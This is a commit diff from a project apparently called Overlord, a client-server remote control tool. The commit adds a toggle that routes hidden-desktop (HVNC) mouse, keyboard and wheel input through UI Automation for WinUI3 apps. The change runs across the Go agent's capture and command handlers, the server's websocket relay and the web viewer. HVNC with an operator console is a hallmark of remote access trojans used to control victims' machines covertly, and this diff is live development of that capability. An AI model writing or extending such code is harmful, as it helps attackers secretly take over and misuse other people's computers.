toggle UIA support

Overlord-Client/cmd/agent/capture/hvnc_stub.go

@@ -19,6 +19,10 @@ func SetHVNCDXGIEnabled(enabled bool) {}
 
 func GetHVNCDXGIEnabled() bool { return false }
 
+func SetHVNCUIAEnabled(enabled bool) {}
+
+func GetHVNCUIAEnabled() bool { return false }
+
 func hvncCaptureDisplay(display int) (*image.RGBA, error) {
 	return nil, errors.New("HVNC not supported on this platform")
 }

Overlord-Client/cmd/agent/capture/hvnc_windows.go

@@ -1082,7 +1082,7 @@ func hvncMouseMoveOnThread(display int, x, y int32) error {
 			procSetFocus.Call(hitHwnd)
 		}
 
-		if isWinUI3Window(hitHwnd) {
+		if hvncUIAEnabled.Load() && isWinUI3Window(hitHwnd) {
 			uiaHandleDragMove(pt)
 			uiaHandleMouseMove(hitHwnd, pt)
 			return nil
@@ -1111,7 +1111,7 @@ func hvncMouseButtonOnThread(button int, down bool) error {
 	}
 
 	// WinUI3 branch: route through UIA patterns
-	if isWinUI3Window(hitHwnd) {
+	if hvncUIAEnabled.Load() && isWinUI3Window(hitHwnd) {
 		return uiaHandleMouseButton(hitHwnd, pt, button, down)
 	}
 
@@ -1233,7 +1233,7 @@ func hvncKeyOnThread(vk uint16, down bool) error {
 	}
 	updateModifierState(vk, down)
 
-	if isWinUI3Window(hwnd) {
+	if hvncUIAEnabled.Load() && isWinUI3Window(hwnd) {
 		if isModifierVK(vk) {
 			return nil
 		}
@@ -1506,7 +1506,7 @@ func hvncMouseWheelOnThread(delta int32) error {
 		}
 	}
 
-	if isWinUI3Window(hwnd) {
+	if hvncUIAEnabled.Load() && isWinUI3Window(hwnd) {
 		return uiaHandleMouseWheel(hwnd, pt, delta)
 	}
 
@@ -1704,9 +1704,11 @@ func hvncFreeCacheEntry(entry *hvncWinCacheEntry) {
 var dxgiFrameBuf []byte
 
 var hvncDXGIEnabled atomic.Bool
+var hvncUIAEnabled atomic.Bool
 
 func init() {
-	hvncDXGIEnabled.Store(true) // enabled by default
+	hvncDXGIEnabled.Store(false) // disabled by default
+	hvncUIAEnabled.Store(false)  // disabled by default
 }
 
 func SetHVNCDXGIEnabled(enabled bool) {
@@ -1717,6 +1719,14 @@ func GetHVNCDXGIEnabled() bool {
 	return hvncDXGIEnabled.Load()
 }
 
+func SetHVNCUIAEnabled(enabled bool) {
+	hvncUIAEnabled.Store(enabled)
+}
+
+func GetHVNCUIAEnabled() bool {
+	return hvncUIAEnabled.Load()
+}
+
 func drawHVNCWindowFromDXGI(hwnd uintptr, winLeft, winTop, winW, winH int, bounds image.Rectangle, target []byte, targetStride int) bool {
 	if !hvncDXGIEnabled.Load() {
 		return false

Overlord-Client/cmd/agent/handlers/command.go

@@ -1071,6 +1071,18 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
 		capture.SetHVNCDXGIEnabled(dxgiEnabled)
 		sendCommandResultSafe(env, cmdID, true, "")
 		return nil
+	case "hvnc_enable_uia":
+		payload, _ := envelope["payload"].(map[string]interface{})
+		uiaEnabled := true
+		if payload != nil {
+			if v, ok := payload["enabled"].(bool); ok {
+				uiaEnabled = v
+			}
+		}
+		log.Printf("hvnc: UIA support %v", uiaEnabled)
+		capture.SetHVNCUIAEnabled(uiaEnabled)
+		sendCommandResultSafe(env, cmdID, true, "")
+		return nil
 	case "hvnc_set_resolution":
 		payload, _ := envelope["payload"].(map[string]interface{})
 		maxH := 1080

Overlord-Server/public/assets/hvnc.js

@@ -73,12 +73,14 @@ import { checkFeatureAccess } from "./feature-gate.js";
   const statusEl = document.getElementById("streamStatus");
   const clipboardSyncCtrl = document.getElementById("clipboardSyncCtrl");
   const dxgiCtrl = document.getElementById("dxgiCtrl");
+  const uiaCtrl = document.getElementById("uiaCtrl");
   const hvncResolutionSelect = document.getElementById("hvncResolutionSelect");
 
   function syncInputEnableState() {
     if (mouseCtrl) sendCmd("hvnc_enable_mouse", { enabled: mouseCtrl.checked });
     if (kbdCtrl) sendCmd("hvnc_enable_keyboard", { enabled: kbdCtrl.checked });
     if (dxgiCtrl) sendCmd("hvnc_enable_dxgi", { enabled: dxgiCtrl.checked });
+    if (uiaCtrl) sendCmd("hvnc_enable_uia", { enabled: uiaCtrl.checked });
     pushHvncResolution();
   }
   let activeClientId = clientId;
@@ -619,6 +621,11 @@ import { checkFeatureAccess } from "./feature-gate.js";
       sendCmd("hvnc_enable_dxgi", { enabled: dxgiCtrl.checked });
     });
   }
+  if (uiaCtrl) {
+    uiaCtrl.addEventListener("change", function () {
+      sendCmd("hvnc_enable_uia", { enabled: uiaCtrl.checked });
+    });
+  }
 
   function pushHvncResolution() {
     if (hvncResolutionSelect) {

Overlord-Server/public/hvnc.html

@@ -137,6 +137,9 @@
               ><input type="checkbox" id="dxgiCtrl" /> DXGI Capture
               <i class="fa-solid fa-triangle-exclamation text-amber-400 text-xs" title="If Chrome or HVNC is running slowly, DXGI capture may be the cause — uncheck this and restart Chrome inside HVNC to fix it."></i></label
             >
+            <label class="flex items-center gap-2 text-sm text-slate-200" title="Use UI Automation for WinUI3 app input (modern Windows apps). Disable if input is unreliable in non-WinUI3 apps."
+              ><input type="checkbox" id="uiaCtrl" checked /> UIA Support</label
+            >
             <label for="hvncResolutionSelect" class="text-sm text-slate-200">Resolution</label>
             <select
               id="hvncResolutionSelect"

Overlord-Server/src/server/ws-console-rd-hvnc.ts

@@ -840,6 +840,9 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
     case "hvnc_enable_dxgi":
       if (state.isStreaming) sendHVNCCommand(target, "hvnc_enable_dxgi", { enabled: !!payload.enabled });
       break;
+    case "hvnc_enable_uia":
+      if (state.isStreaming) sendHVNCCommand(target, "hvnc_enable_uia", { enabled: !!payload.enabled });
+      break;
     case "hvnc_set_resolution": {
       const maxHeight = Number(payload.maxHeight) || 0;
       if (state.isStreaming) sendHVNCCommand(target, "hvnc_set_resolution", { maxHeight });